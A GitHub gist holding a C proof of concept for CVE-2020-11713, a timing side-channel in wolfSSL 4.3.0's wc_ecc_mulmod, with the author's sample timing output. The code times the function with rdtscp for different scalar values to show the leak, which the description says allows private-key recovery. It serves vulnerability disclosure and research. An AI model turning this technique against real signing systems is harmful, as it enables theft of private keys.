pietroborrello / **wolfssl_4.3.0_ecc_mulmod_poc.c**

Last active 2 years ago



Code Revisions 4

PoC for CVE-2020-11713. Timing side-channel on wc_ecc_mulmod which allows to recover private key used to sign messages.

wolfssl_4.3.0_ecc_mulmod_poc.c

```c
#include <wolfssl/options.h>
#include <wolfssl/wolfcrypt/settings.h>
#include <wolfssl/wolfcrypt/ecc.h>
#include <wolfssl/wolfcrypt/asn_public.h>
#include <wolfssl/error-ssl.h>
#include <wolfssl/ssl.h>

#define KEY32 32

static uint64_t inline rdtscp(void) {
  uint64_t a, d;
  asm volatile("mfence; rdtscp;" : "=a"(a), "=d"(d)::"rcx");
  a = (d << 32) | a;
  return a;
}

static int test_wc_ecc_mulmod (void)
{
    int         ret = 0;
    ecc_key     key1, key2, key3;
    WC_RNG      rng;
    uint64_t time_start = 0, time_end = 0;
    uint64_t sum1 = 0, sum2 = 0, sum3 = 0;

    ret = wc_InitRng(&rng);
    if (ret == 0) {
        ret = wc_ecc_init(&key1);
        if (ret == 0) {
            ret = wc_ecc_init(&key2);
        }
        if (ret == 0) {
            ret = wc_ecc_init(&key3);
        }
        if (ret == 0) {
            ret = wc_ecc_make_key(&rng, KEY32, &key1);
        }
        wc_FreeRng(&rng);
    }
    if (ret == 0) {
        ret = wc_ecc_import_raw_ex(&key2, key1.dp->Gx, key1.dp->Gy, key1.dp->Af,
                                                                ECC_SECP256R1);
        if (ret == 0) {
            ret = wc_ecc_import_raw_ex(&key3, key1.dp->Gx, key1.dp->Gy,
                                       key1.dp->prime, ECC_SECP256R1);
        }
    }
    for (int i = 0; i < 1000; i++) {
        // Measure execution time of a random k
        if (ret == 0) {
            time_start = rdtscp();
            ret = wc_ecc_mulmod(&key1.k, &key2.pubkey, &key3.pubkey, &key2.k,
                                                            &key3.k, 1);
            time_end = rdtscp();
        }
        sum1 += (time_end - time_start);
    }
    for (int i = 0; i < 1000; i++) {
        // Measure execution time with k = 0
        mp_set_int(&key1.k, 0);
        if (ret == 0) {
            time_start = rdtscp();
            ret = wc_ecc_mulmod(&key1.k, &key2.pubkey, &key3.pubkey, &key2.k,
                                                            &key3.k, 1);
            time_end = rdtscp();
        }
        sum2 += (time_end - time_start);
    }
    for (int i = 0; i < 1000; i++) {
        // Measure execution time with k = 0xffffffffffffffff
        mp_set_int(&key1.k, 0xffffffffffffffffuL);
        if (ret == 0) {
            time_start = rdtscp();
            ret = wc_ecc_mulmod(&key1.k, &key2.pubkey, &key3.pubkey, &key2.k,
                                                            &key3.k, 1);
            time_end = rdtscp();
        }
        sum3 += (time_end - time_start);
    }
    printf("\ntest 1: %lu\n", sum1/1000);
    printf("\ntest 2: %lu\n", sum2/1000);
```

```
    printf("\ntest 3: %lu\n", sum3/1000);

    wc_ecc_free(&key1);
    wc_ecc_free(&key2);
    wc_ecc_free(&key3);
    return ret;
}

int main(int argc, char* argv[])
{
    return test_wc_ecc_mulmod();
}
```

**pietroborrello** commented on Apr 13, 2020 • edited ▾ Author

Example output (Intel Core i7-8665U CPU @ 1.90GHz):

```
test 1: 3849098

test 2: 3443656

test 3: 3570397
```